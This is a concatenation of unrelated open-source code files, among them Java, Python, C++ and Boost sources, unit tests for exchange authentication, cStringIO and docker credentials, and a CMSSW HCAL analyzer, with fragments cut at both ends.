} else if (leftTables.equals(joinHint.getRight()) && rightTables.equals(joinHint.getLeft())) {
return join.getCluster().getPlanner().getCostFactory().makeHugeCost();
} else {
continue;
}
}
}
}
return null;
}
private static Set<String> converToTableNameSet(Set<RexTableInputRef.RelTableRef> refs) {
Set<String> set = new TreeSet<>(String.CASE_INSENSITIVE_ORDER);
for (RexTableInputRef.RelTableRef ref : refs) {
TableMeta tableMeta = CBOUtil.getTableMeta(ref.getTable());
DrdsViewTable drdsViewTable = CBOUtil.getDrdsViewTable(ref.getTable());
if (tableMeta != null) {
set.add(tableMeta.getTableName());
} else if (drdsViewTable != null) {
set.add(drdsViewTable.getRow().getViewName());
}
}
return set;
}
}
| 2,225 |
444 | package tickrecorder;
import redis.clients.jedis.*;
import org.json.simple.*;
import org.json.simple.parser.*;
import com.fxcore2.*;
import java.util.Calendar;
public class redisPubsubListener extends JedisPubSub {
O2GSession session;
public redisPubsubListener(O2GSession session){
this.session = session;
}
public void onMessage(String channel, String message){
//System.out.println("New redis message recieved on channel " + channel + ": " + message);
if(channel.equals("priceRequests")){ //JSON format should be this: "[{Pair: "USD/CAD", startTime: 1457300020.23, endTime: 1457300025.57, resolution: t1}]"
JSONParser parser = new JSONParser();
JSONArray array = null;
try{
Object obj = parser.parse(message);
array = (JSONArray)obj;
}catch(ParseException e){
System.out.println("Error parsing JSON message: " + message);
System.out.println("Error found at " + String.valueOf(e.getPosition()));
}
JSONObject realParsed = (JSONObject)array.get(0);
String pair = (String)realParsed.get("pair");
long startTimeNum = (Long)realParsed.get("startTime");
long endTimeNum = (Long)realParsed.get("endTime");
String resolution = (String)realParsed.get("resolution");
String uuid = (String)realParsed.get("uuid");
Calendar startTime = Calendar.getInstance();
startTime.setTimeInMillis(startTimeNum);
Calendar endTime = Calendar.getInstance();
endTime.setTimeInMillis(endTimeNum);
HistoryDownloader.downloadHistory(session, pair, resolution, startTime, endTime, uuid);
}
}
}
| 797 |
3,027 | <reponame>BGTCapital/hummingbot<filename>test/hummingbot/connector/exchange/bitmart/test_bitmart_auth.py
import json
import hmac
import hashlib
from unittest import TestCase
from hummingbot.connector.exchange.bitmart.bitmart_auth import BitmartAuth
class BitmartAuthTests(TestCase):
@property
def memo(self):
return '001'
@property
def api_key(self):
return 'test_api_key'
@property
def secret_key(self):
return 'test_secret_key'
def test_no_authentication_headers(self):
auth = BitmartAuth(api_key=self.api_key, secret_key=self.secret_key, memo=self.memo)
headers = auth.get_headers()
self.assertEqual(1, len(headers))
self.assertEqual('application/json', headers.get('Content-Type'))
def test_keyed_authentication_headers(self):
auth = BitmartAuth(api_key=self.api_key, secret_key=self.secret_key, memo=self.memo)
headers = auth.get_headers(auth_type="KEYED")
self.assertEqual(2, len(headers))
self.assertEqual('application/json', headers.get("Content-Type"))
self.assertEqual('test_api_key', headers.get('X-BM-KEY'))
def test_signed_authentication_headers(self):
auth = BitmartAuth(api_key=self.api_key, secret_key=self.secret_key, memo=self.memo)
timestamp = '1589793795969'
params = {'test_key': 'test_value'}
headers = auth.get_headers(timestamp=timestamp, params=params, auth_type="SIGNED")
params = json.dumps(params)
raw_signature = f'{timestamp}#{self.memo}#{params}'
expected_signature = hmac.new(self.secret_key.encode('utf-8'),
raw_signature.encode('utf-8'),
hashlib.sha256).hexdigest()
self.assertEqual(4, len(headers))
self.assertEqual('application/json', headers.get("Content-Type"))
self.assertEqual('test_api_key', headers.get('X-BM-KEY'))
self.assertEqual(expected_signature, headers.get('X-BM-SIGN'))
self.assertEqual('1589793795969', headers.get('X-BM-TIMESTAMP'))
def test_ws_auth_payload(self):
auth = BitmartAuth(api_key=self.api_key, secret_key=self.secret_key, memo=self.memo)
timestamp = '1589793795969'
auth_info = auth.get_ws_auth_payload(timestamp=timestamp)
raw_signature = f'{timestamp}#{self.memo}#bitmart.WebSocket'
expected_signature = hmac.new(self.secret_key.encode('utf-8'),
raw_signature.encode('utf-8'),
hashlib.sha256).hexdigest()
self.assertEqual(2, len(auth_info))
self.assertEqual(3, len(auth_info.get('args')))
self.assertEqual('login', auth_info.get('op'))
self.assertEqual(['test_api_key', '1589793795969', expected_signature], auth_info.get('args'))
| 1,297 |
2,231 | <gh_stars>1000+
// Copyright 2020 The Defold Foundation
// Licensed under the Defold License version 1.0 (the "License"); you may not use
// this file except in compliance with the License.
//
// You may obtain a copy of the License, together with FAQs at
// https://www.defold.com/license
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef DM_GAMESYS_COMP_LIGHT_H
#define DM_GAMESYS_COMP_LIGHT_H
#include <gameobject/component.h>
namespace dmGameSystem
{
dmGameObject::CreateResult CompLightNewWorld(const dmGameObject::ComponentNewWorldParams& params);
dmGameObject::CreateResult CompLightDeleteWorld(const dmGameObject::ComponentDeleteWorldParams& params);
dmGameObject::CreateResult CompLightCreate(const dmGameObject::ComponentCreateParams& params);
dmGameObject::CreateResult CompLightDestroy(const dmGameObject::ComponentDestroyParams& params);
dmGameObject::CreateResult CompLightAddToUpdate(const dmGameObject::ComponentAddToUpdateParams& params);
dmGameObject::UpdateResult CompLightUpdate(const dmGameObject::ComponentsUpdateParams& params, dmGameObject::ComponentsUpdateResult& update_result);
dmGameObject::UpdateResult CompLightOnMessage(const dmGameObject::ComponentOnMessageParams& params);
}
#endif
| 431 |
1,078 | <reponame>cwensley/ironpython2
# Licensed to the .NET Foundation under one or more agreements.
# The .NET Foundation licenses this file to you under the Apache 2.0 License.
# See the LICENSE file in the project root for more information.
##
## Test the cStringIO module
##
import cStringIO
import unittest
from iptest import run_test
text = "Line 1\nLine 2\nLine 3\nLine 4\nLine 5"
class CStringIOTest(unittest.TestCase):
def call_close(self, i):
self.assertEqual(i.closed, False)
i.close()
self.assertEqual(i.closed, True)
i.close()
self.assertEqual(i.closed, True)
i.close()
self.assertEqual(i.closed, True)
def call_isatty(self, i):
self.assertEqual(i.isatty(), False)
def call_read(self, i):
self.assertEqual(i.read(), text)
self.assertEqual(i.read(), "")
self.assertEqual(i.read(), "")
i.close()
i.close()
self.assertRaises(ValueError, i.read)
def call_readline(self, i):
self.assertEqual(i.readline(), "Line 1\n")
self.assertEqual(i.readline(), "Line 2\n")
self.assertEqual(i.readline(), "Line 3\n")
self.assertEqual(i.readline(), "Line 4\n")
self.assertEqual(i.readline(), "Line 5")
self.assertEqual(i.readline(), "")
i.close()
self.assertRaises(ValueError, i.readline)
def call_readline_n(self, i):
self.assertEqual(i.readline(50), "Line 1\n")
self.assertEqual(i.readline(0), "")
self.assertEqual(i.readline(1), "L")
self.assertEqual(i.readline(9), "ine 2\n")
self.assertEqual(i.readline(50), "Line 3\n")
self.assertEqual(i.readline(6), "Line 4")
self.assertEqual(i.readline(50), "\n")
self.assertEqual(i.readline(50), "Line 5")
i.close()
self.assertRaises(ValueError, i.readline)
def call_readlines(self, i):
self.assertEqual(i.readlines(), ["Line 1\n", "Line 2\n", "Line 3\n", "Line 4\n", "Line 5"])
self.assertEqual(i.readlines(), [])
i.close()
self.assertRaises(ValueError, i.readlines)
def call_readlines_n(self, i):
self.assertEqual(i.readlines(10), ["Line 1\n", "Line 2\n"])
self.assertEqual(i.readlines(50), ["Line 3\n", "Line 4\n", "Line 5"])
self.assertEqual(i.readlines(50), [])
i.close()
self.assertRaises(ValueError, i.readlines)
def call_getvalue(self, i):
self.assertEqual(i.getvalue(), text)
self.assertEqual(i.read(6), "Line 1")
self.assertEqual(i.getvalue(True), "Line 1")
self.assertEqual(i.getvalue(), text)
i.close()
self.assertRaises(ValueError, i.getvalue)
def call_next(self, i):
self.assertEqual(i.__iter__(), i)
self.assertEqual(i.next(), "Line 1\n")
self.assertEqual(i.next(), "Line 2\n")
self.assertEqual([l for l in i], ["Line 3\n", "Line 4\n", "Line 5"])
i.close()
self.assertRaises(ValueError, i.readlines)
def call_reset(self, i):
self.assertEqual(i.read(0), "")
self.assertEqual(i.read(4), "Line")
self.assertEqual(i.readline(), " 1\n")
i.reset()
self.assertEqual(i.read(4), "Line")
self.assertEqual(i.readline(), " 1\n")
i.reset()
self.assertEqual(i.read(37),text)
i.reset()
self.assertEqual(i.read(38),text)
i.close()
self.assertRaises(ValueError, i.read, 5)
self.assertRaises(ValueError, i.readline)
def call_seek_tell(self, i):
self.assertEqual(i.read(4), "Line")
self.assertEqual(i.tell(), 4)
i.seek(10)
self.assertEqual(i.tell(), 10)
self.assertEqual(i.read(3), "e 2")
i.seek(15, 0)
self.assertEqual(i.tell(), 15)
self.assertEqual(i.read(5), "ine 3")
i.seek(3, 1)
self.assertEqual(i.read(4), "ne 4")
i.seek(-5, 2)
self.assertEqual(i.tell(), len(text) - 5)
self.assertEqual(i.read(), "ine 5")
i.seek(1000)
self.assertEqual(i.tell(), 1000)
self.assertEqual(i.read(), "")
i.seek(2000, 0)
self.assertEqual(i.tell(), 2000)
self.assertEqual(i.read(), "")
i.seek(400, 1)
self.assertEqual(i.tell(), 2400)
self.assertEqual(i.read(), "")
i.seek(100, 2)
self.assertEqual(i.tell(), len(text) + 100)
self.assertEqual(i.read(), "")
i.close()
self.assertRaises(ValueError, i.tell)
self.assertRaises(ValueError, i.seek, 0)
self.assertRaises(ValueError, i.seek, 0, 2)
def call_truncate(self, i):
self.assertEqual(i.read(6), "Line 1")
i.truncate(20)
self.assertEqual(i.tell(), 20)
self.assertEqual(i.getvalue(), "Line 1\nLine 2\nLine 3")
i.truncate(30)
self.assertEqual(i.tell(), 20)
self.assertEqual(i.getvalue(), "Line 1\nLine 2\nLine 3")
i.reset()
self.assertEqual(i.tell(), 0)
self.assertEqual(i.read(6), "Line 1")
i.truncate()
self.assertEqual(i.getvalue(), "Line 1")
i.close()
self.assertRaises(ValueError, i.truncate)
self.assertRaises(ValueError, i.truncate, 10)
def call_write(self, o):
self.assertEqual(o.getvalue(), text)
o.write("Data")
o.write(buffer(' 1'))
self.assertRaises(TypeError, o.write, None)
self.assertEqual(o.read(7), "\nLine 2")
self.assertEqual(o.getvalue(), "Data 1\nLine 2\nLine 3\nLine 4\nLine 5")
o.close()
self.assertRaises(ValueError, o.write, "Hello")
def call_writelines(self, o):
self.assertEqual(o.getvalue(), text)
o.writelines(["Data 1", "Data 2"])
self.assertEqual(o.read(8), "2\nLine 3")
self.assertEqual(o.getvalue(), "Data 1Data 22\nLine 3\nLine 4\nLine 5")
self.assertRaises(TypeError, o.writelines, [buffer('foo')])
self.assertRaises(TypeError, o.writelines, [None])
o.close()
self.assertRaises(ValueError, o.writelines, "Hello")
self.assertRaises(ValueError, o.writelines, ['foo', buffer('foo')])
self.assertRaises(TypeError, o.writelines, [buffer('foo')])
def call_softspace(self, o):
o.write("Hello")
o.write("Hi")
o.softspace = 1
self.assertEqual(o.softspace, 1)
self.assertEqual(o.getvalue(), "HelloHiLine 2\nLine 3\nLine 4\nLine 5")
def call_flush(self, i):
i.flush()
self.assertEqual(i,i)
def init_StringI(self):
return cStringIO.StringIO(text)
def init_StringO(self):
o = cStringIO.StringIO()
o.write(text)
o.reset()
return o
def init_emptyStringI(self):
return cStringIO.StringIO("")
def test_empty(self):
i = self.init_emptyStringI()
# test closed
self.assertEqual(i.closed,False)
i.close()
self.assertEqual(i.closed,True)
#test read
i = self.init_emptyStringI()
self.assertEqual(i.read(),"")
i.close()
self.assertRaises(ValueError, i.read)
i.close()
self.assertRaises(ValueError, i.read, 2)
#test readline
i = self.init_emptyStringI()
self.assertEqual(i.readline(),"")
i.close()
self.assertRaises(ValueError, i.readline)
i = self.init_emptyStringI()
self.assertEqual(i.readline(0),"")
i.close()
self.assertRaises(ValueError, i.readline)
#test readlines
i = self.init_emptyStringI()
self.assertEqual(i.readlines(),[])
i = self.init_emptyStringI()
self.assertEqual(i.readlines(0),[])
#test getvalue
i = self.init_emptyStringI()
self.assertEqual(i.getvalue(),"")
self.assertEqual(i.getvalue(True),"")
i.close()
self.assertRaises(ValueError, i.getvalue)
#test iter
i = self.init_emptyStringI()
self.assertEqual(i.__iter__(), i)
#test reset
i = self.init_emptyStringI()
self.assertEqual(i.read(0), "")
i.reset()
self.assertEqual(i.read(1), "")
i.reset()
self.assertEqual(i.readline(), "")
i.close()
self.assertRaises(ValueError, i.read, 2)
self.assertRaises(ValueError, i.readline)
#test seek,tell,read
i = self.init_emptyStringI()
self.assertEqual(i.read(0), "")
self.assertEqual(i.tell(), 0)
self.assertEqual(i.read(1), "")
self.assertEqual(i.tell(), 0)
i.seek(2)
self.assertEqual(i.tell(), 2)
self.assertEqual(i.read(),"")
i.close()
self.assertRaises(ValueError, i.tell)
self.assertRaises(ValueError, i.seek, 0)
self.assertRaises(ValueError, i.seek, 0, 2)
#test truncate
i = self.init_emptyStringI()
i.truncate(0)
self.assertEqual(i.tell(), 0)
i.truncate(1)
self.assertEqual(i.tell(), 0)
i.close()
self.assertRaises(ValueError, i.truncate)
def test_cp8567(self):
for x in ["", "1", "12", "12345",
#u"123", #CodePlex 19220
]:
for i in [5, 6, 7, 2**8, 100, 2**16-1, 2**16, 2**16, 2**31-2, 2**31-1]:
cio = cStringIO.StringIO(x)
cio.truncate(i)
self.assertEqual(cio.tell(), len(x))
cio.close()
def test_i_o(self):
for t in [ self.call_close,
self.call_isatty,
self.call_read,
self.call_readline,
self.call_readline_n,
self.call_readlines,
self.call_readlines_n,
self.call_getvalue,
self.call_next,
self.call_reset,
self.call_seek_tell,
self.call_truncate,
self.call_flush ]:
i = self.init_StringI()
t(i)
o= self.init_StringO()
t(o)
def test_o(self):
for t in [ self.call_write,
self.call_writelines,
self.call_softspace ]:
o = self.init_StringO()
t(o)
def test_cp22017(self):
m = cStringIO.StringIO()
m.seek(2)
m.write("hello!")
self.assertEqual(m.getvalue(), '\x00\x00hello!')
m.seek(2)
self.assertEqual(m.getvalue(), '\x00\x00hello!')
run_test(__name__)
| 5,645 |
597 | <reponame>peddamat/home-assistant-supervisor-test
"""Test docker login."""
# pylint: disable=protected-access
from supervisor.coresys import CoreSys
from supervisor.docker.interface import DOCKER_HUB, DockerInterface
def test_no_credentials(coresys: CoreSys):
"""Test no credentials."""
docker = DockerInterface(coresys)
coresys.docker.config.registries = {
DOCKER_HUB: {"username": "Spongebob Squarepants", "password": "<PASSWORD>!"}
}
assert not docker._get_credentials("ghcr.io/homeassistant")
assert not docker._get_credentials("ghcr.io/homeassistant/amd64-supervisor")
def test_no_matching_credentials(coresys: CoreSys):
"""Test no matching credentials."""
docker = DockerInterface(coresys)
coresys.docker.config.registries = {
DOCKER_HUB: {"username": "Spongebob Squarepants", "password": "<PASSWORD>!"}
}
assert not docker._get_credentials("ghcr.io/homeassistant")
assert not docker._get_credentials("ghcr.io/homeassistant/amd64-supervisor")
def test_matching_credentials(coresys: CoreSys):
"""Test no matching credentials."""
docker = DockerInterface(coresys)
coresys.docker.config.registries = {
"ghcr.io": {"username": "Octocat", "password": "<PASSWORD>!"},
DOCKER_HUB: {"username": "Spongebob Squarepants", "password": "<PASSWORD>!"},
}
credentials = docker._get_credentials("ghcr.io/homeassistant/amd64-supervisor")
assert credentials["registry"] == "ghcr.io"
credentials = docker._get_credentials("homeassistant/amd64-supervisor")
assert credentials["username"] == "Spongebob Squarepants"
assert "registry" not in credentials
| 598 |
1,091 | <filename>core/store/primitives/src/main/java/org/onosproject/store/atomix/primitives/impl/AtomixFutures.java
/*
* Copyright 2018-present Open Networking Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.onosproject.store.atomix.primitives.impl;
import java.util.concurrent.CompletableFuture;
import com.google.common.base.Throwables;
import org.onosproject.store.service.ConsistentMapException;
import org.onosproject.store.service.IllegalDocumentModificationException;
import org.onosproject.store.service.NoSuchDocumentPathException;
import org.onosproject.store.service.StorageException;
/**
* Utility class for adapting Atomix futures.
*/
final class AtomixFutures {
/**
* Adapts the given Atomix future to ONOS.
*
* @param future the future to adapt
* @param <T> the future result type
* @return the adapted future
*/
static <T> CompletableFuture<T> adaptFuture(CompletableFuture<T> future) {
CompletableFuture<T> newFuture = new CompletableFuture<>();
future.whenComplete((result, error) -> {
if (error == null) {
newFuture.complete(result);
} else {
Throwable cause = Throwables.getRootCause(error);
if (cause instanceof io.atomix.primitive.PrimitiveException.ConcurrentModification) {
newFuture.completeExceptionally(new StorageException.ConcurrentModification());
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Timeout) {
newFuture.completeExceptionally(new StorageException.Timeout());
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Interrupted) {
newFuture.completeExceptionally(new StorageException.Interrupted());
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Unavailable) {
newFuture.completeExceptionally(new StorageException.Unavailable());
} else if (cause instanceof io.atomix.primitive.PrimitiveException) {
newFuture.completeExceptionally(new StorageException(cause.getMessage()));
} else {
newFuture.completeExceptionally(cause);
}
}
});
return newFuture;
}
/**
* Adapts the given Atomix future to map exceptions.
*
* @param future the future to adapt
* @param <T> the future result type
* @return the adapted future
*/
static <T> CompletableFuture<T> adaptMapFuture(CompletableFuture<T> future) {
CompletableFuture<T> newFuture = new CompletableFuture<>();
future.whenComplete((result, error) -> {
if (error == null) {
newFuture.complete(result);
} else {
Throwable cause = Throwables.getRootCause(error);
if (cause instanceof io.atomix.primitive.PrimitiveException.ConcurrentModification) {
newFuture.completeExceptionally(
new ConsistentMapException.ConcurrentModification(cause.getMessage()));
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Timeout) {
newFuture.completeExceptionally(new ConsistentMapException.Timeout(cause.getMessage()));
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Interrupted) {
newFuture.completeExceptionally(new ConsistentMapException.Interrupted());
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Unavailable) {
newFuture.completeExceptionally(new ConsistentMapException.Unavailable());
} else if (cause instanceof io.atomix.primitive.PrimitiveException) {
newFuture.completeExceptionally(new ConsistentMapException(cause.getMessage()));
} else {
newFuture.completeExceptionally(cause);
}
}
});
return newFuture;
}
/**
* Adapts the given Atomix future to document tree exceptions.
*
* @param future the future to adapt
* @param <T> the future result type
* @return the adapted future
*/
static <T> CompletableFuture<T> adaptTreeFuture(CompletableFuture<T> future) {
CompletableFuture<T> newFuture = new CompletableFuture<>();
future.whenComplete((result, error) -> {
if (error == null) {
newFuture.complete(result);
} else {
Throwable cause = Throwables.getRootCause(error);
if (cause instanceof io.atomix.core.tree.NoSuchDocumentPathException) {
newFuture.completeExceptionally(new NoSuchDocumentPathException());
} else if (cause instanceof io.atomix.core.tree.IllegalDocumentModificationException) {
newFuture.completeExceptionally(new IllegalDocumentModificationException());
} else if (cause instanceof io.atomix.primitive.PrimitiveException.ConcurrentModification) {
newFuture.completeExceptionally(new StorageException.ConcurrentModification());
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Timeout) {
newFuture.completeExceptionally(new StorageException.Timeout());
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Interrupted) {
newFuture.completeExceptionally(new StorageException.Interrupted());
} else if (cause instanceof io.atomix.primitive.PrimitiveException.Unavailable) {
newFuture.completeExceptionally(new StorageException.Unavailable());
} else if (cause instanceof io.atomix.primitive.PrimitiveException) {
newFuture.completeExceptionally(new StorageException(cause.getMessage()));
} else {
newFuture.completeExceptionally(cause);
}
}
});
return newFuture;
}
private AtomixFutures() {
}
}
| 2,655 |
2,338 | #define CLASS(NAME) \
class NAME { \
public: \
struct Inner; \
Inner *i = nullptr; \
}; \
NAME::Inner &getInner##NAME();
CLASS(A)
CLASS(B)
CLASS(C)
CLASS(D)
CLASS(E)
CLASS(F)
CLASS(G)
int main()
{
A::Inner &inner_a = getInnerA();
B::Inner &inner_b = getInnerB();
C::Inner &inner_c = getInnerC();
D::Inner &inner_d = getInnerD();
E::Inner &inner_e = getInnerE();
F::Inner &inner_f = getInnerF();
G::Inner &inner_g = getInnerG();
return 0; // break here
}
| 416 |
8,805 | <reponame>rudylee/expo
// (C) Copyright <NAME>
//
// Use modification and distribution are subject to the boost Software License,
// Version 1.0. (See http://www.boost.org/LICENSE_1_0.txt).
//------------------------------------------------------------------------------
#ifndef BOOST_FT_CONFIG_CC_NAMES_HPP_INCLUDED
#define BOOST_FT_CONFIG_CC_NAMES_HPP_INCLUDED
#define BOOST_FT_BUILTIN_CC_NAMES \
(( IMPLICIT , implicit_cc , BOOST_PP_EMPTY ))\
(( CDECL , cdecl_cc , BOOST_PP_IDENTITY(__cdecl ) ))\
(( STDCALL , stdcall_cc , BOOST_PP_IDENTITY(__stdcall ) ))\
(( PASCAL , pascal_cc , BOOST_PP_IDENTITY(pascal ) ))\
(( FASTCALL , fastcall_cc , BOOST_PP_IDENTITY(__fastcall) ))\
(( CLRCALL , clrcall_cc , BOOST_PP_IDENTITY(__clrcall ) ))\
(( THISCALL , thiscall_cc , BOOST_PP_IDENTITY(__thiscall) ))\
(( IMPLICIT_THISCALL , thiscall_cc , BOOST_PP_EMPTY ))
// append user-defined cc names to builtin ones
#ifdef BOOST_FT_CC_NAMES
# define BOOST_FT_CC_NAMES_SEQ BOOST_FT_BUILTIN_CC_NAMES BOOST_FT_CC_NAMES
# define BOOST_FT_CC_PREPROCESSING 1
#else
# define BOOST_FT_CC_NAMES_SEQ BOOST_FT_BUILTIN_CC_NAMES
#endif
#endif
| 637 |
852 | <gh_stars>100-1000
// -*- C++ -*-
//
// Package: HcalQLPlotAnal
// Class: HcalQLPlotAnal
//
/**\class HcalQLPlotAnal HcalQLPlotAnal.cc RecoTBCalo/HcalQLPlotAnal/src/HcalQLPlotAnal.cc
Description: <one line class summary>
Implementation:
<Notes on implementation>
*/
//
// Original Author: <NAME>
// Created: Tue Jan 16 21:11:37 CST 2007
//
//
// system include files
#include <memory>
// user include files
#include "FWCore/Framework/interface/Frameworkfwd.h"
#include "FWCore/Framework/interface/EDAnalyzer.h"
#include "FWCore/Framework/interface/Event.h"
#include "DataFormats/Common/interface/Handle.h"
#include "FWCore/Framework/interface/ESHandle.h"
#include "FWCore/Framework/interface/MakerMacros.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#include "FWCore/MessageLogger/interface/MessageLogger.h"
#include "DataFormats/HcalRecHit/interface/HcalRecHitCollections.h"
#include "DataFormats/HcalDigi/interface/HcalDigiCollections.h"
#include "TBDataFormats/HcalTBObjects/interface/HcalTBTriggerData.h"
#include "RecoTBCalo/HcalPlotter/src/HcalQLPlotAnalAlgos.h"
#include <string>
//
// class declaration
//
class HcalQLPlotAnal : public edm::EDAnalyzer {
public:
explicit HcalQLPlotAnal(const edm::ParameterSet&);
~HcalQLPlotAnal() override;
private:
void analyze(const edm::Event&, const edm::EventSetup&) override;
void endJob() override;
// ----------member data ---------------------------
edm::InputTag hcalDigiLabel_;
edm::EDGetTokenT<HBHERecHitCollection> tok_hbherec_;
edm::EDGetTokenT<HORecHitCollection> tok_horec_;
edm::EDGetTokenT<HFRecHitCollection> tok_hfrec_;
edm::EDGetTokenT<HBHEDigiCollection> tok_hbhe_;
edm::EDGetTokenT<HODigiCollection> tok_ho_;
edm::EDGetTokenT<HFDigiCollection> tok_hf_;
edm::EDGetTokenT<HcalCalibDigiCollection> tok_calib_;
edm::EDGetTokenT<HcalTBTriggerData> tok_tb_;
bool doCalib_;
double calibFC2GeV_;
HcalQLPlotAnalAlgos* algo_;
};
//
// constants, enums and typedefs
//
//
// static data member definitions
//
//
// constructors and destructor
//
HcalQLPlotAnal::HcalQLPlotAnal(const edm::ParameterSet& iConfig)
: hcalDigiLabel_(iConfig.getUntrackedParameter<edm::InputTag>("hcalDigiTag")),
doCalib_(iConfig.getUntrackedParameter<bool>("doCalib", false)),
calibFC2GeV_(iConfig.getUntrackedParameter<double>("calibFC2GeV", 0.2)) {
algo_ = new HcalQLPlotAnalAlgos(iConfig.getUntrackedParameter<std::string>("outputFilename").c_str(),
iConfig.getParameter<edm::ParameterSet>("HistoParameters"));
tok_hbherec_ = consumes<HBHERecHitCollection>(iConfig.getUntrackedParameter<edm::InputTag>("hbheRHtag"));
tok_horec_ = consumes<HORecHitCollection>(iConfig.getUntrackedParameter<edm::InputTag>("hoRHtag"));
tok_hfrec_ = consumes<HFRecHitCollection>(iConfig.getUntrackedParameter<edm::InputTag>("hfRHtag"));
tok_hbhe_ = consumes<HBHEDigiCollection>(hcalDigiLabel_);
tok_ho_ = consumes<HODigiCollection>(hcalDigiLabel_);
tok_hf_ = consumes<HFDigiCollection>(hcalDigiLabel_);
tok_calib_ = consumes<HcalCalibDigiCollection>(hcalDigiLabel_);
tok_tb_ = consumes<HcalTBTriggerData>(iConfig.getUntrackedParameter<edm::InputTag>("hcalTrigTag"));
}
HcalQLPlotAnal::~HcalQLPlotAnal() {
// do anything here that needs to be done at destruction time
// (e.g. close files, deallocate resources etc.)
}
//
// member functions
//
// ------------ method called to for each event ------------
void HcalQLPlotAnal::analyze(const edm::Event& iEvent, const edm::EventSetup& iSetup) {
// Step A/C: Get Inputs and process (repeatedly)
edm::Handle<HcalTBTriggerData> trig;
iEvent.getByToken(tok_tb_, trig);
if (!trig.isValid()) {
edm::LogError("HcalQLPlotAnal::analyze") << "No Trigger Data found, skip event";
return;
} else {
algo_->SetEventType(*trig);
}
edm::Handle<HBHEDigiCollection> hbhedg;
iEvent.getByToken(tok_hbhe_, hbhedg);
if (!hbhedg.isValid()) {
edm::LogWarning("HcalQLPlotAnal::analyze") << "One of HBHE Digis/RecHits not found";
} else {
algo_->processDigi(*hbhedg);
}
edm::Handle<HBHERecHitCollection> hbherh;
iEvent.getByToken(tok_hbherec_, hbherh);
if (!hbherh.isValid()) {
edm::LogWarning("HcalQLPlotAnal::analyze") << "One of HBHE Digis/RecHits not found";
} else {
algo_->processRH(*hbherh, *hbhedg);
}
edm::Handle<HODigiCollection> hodg;
iEvent.getByToken(tok_ho_, hodg);
if (!hodg.isValid()) {
// can't find it!
edm::LogWarning("HcalQLPlotAnal::analyze") << "One of HO Digis/RecHits not found";
} else {
algo_->processDigi(*hodg);
}
edm::Handle<HORecHitCollection> horh;
iEvent.getByToken(tok_horec_, horh);
if (!horh.isValid()) {
// can't find it!
edm::LogWarning("HcalQLPlotAnal::analyze") << "One of HO Digis/RecHits not found";
} else {
algo_->processRH(*horh, *hodg);
}
edm::Handle<HFDigiCollection> hfdg;
iEvent.getByToken(tok_hf_, hfdg);
if (!hfdg.isValid()) {
// can't find it!
edm::LogWarning("HcalQLPlotAnal::analyze") << "One of HF Digis/RecHits not found";
} else {
algo_->processDigi(*hfdg);
}
edm::Handle<HFRecHitCollection> hfrh;
iEvent.getByToken(tok_hfrec_, hfrh);
if (!hfrh.isValid()) {
// can't find it!
edm::LogWarning("HcalQLPlotAnal::analyze") << "One of HF Digis/RecHits not found";
} else {
algo_->processRH(*hfrh, *hfdg);
}
if (doCalib_) {
// No rechits as of yet...
edm::Handle<HcalCalibDigiCollection> calibdg;
iEvent.getByToken(tok_calib_, calibdg);
if (!calibdg.isValid()) {
edm::LogWarning("HcalQLPlotAnal::analyze") << "Hcal Calib Digis not found";
} else {
algo_->processDigi(*calibdg, calibFC2GeV_);
}
}
}
// ------------ method called once each job just after ending the event loop ------------
void HcalQLPlotAnal::endJob() { algo_->end(); }
//define this as a plug-in
DEFINE_FWK_MODULE(HcalQLPlotAnal);
| 2,418 |
794 | <reponame>skn123/opengv<gh_stars>100-1000
/******************************************************************************
* Author: <NAME> *
* Contact: <EMAIL> *
* License: Copyright (c) 2013 <NAME>, ANU. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without *
* modification, are permitted provided that the following conditions *
* are met: *
* * Redistributions of source code must retain the above copyright *
* notice, this list of conditions and the following disclaimer. *
* * Redistributions in binary form must reproduce the above copyright *
* notice, this list of conditions and the following disclaimer in the *
* documentation and/or other materials provided with the distribution. *
* * Neither the name of ANU nor the names of its contributors may be *
* used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"*
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE *
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE *
* ARE DISCLAIMED. IN NO EVENT SHALL ANU OR THE CONTRIBUTORS BE LIABLE *
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL *
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR *
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER *
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT *
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY *
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF *
* SUCH DAMAGE. *
******************************************************************************/
#include <opengv/relative_pose/modules/fivept_kneip/modules.hpp>
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow30_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,152) / groebnerMatrix(30,152);
groebnerMatrix(targetRow,152) = 0.0;
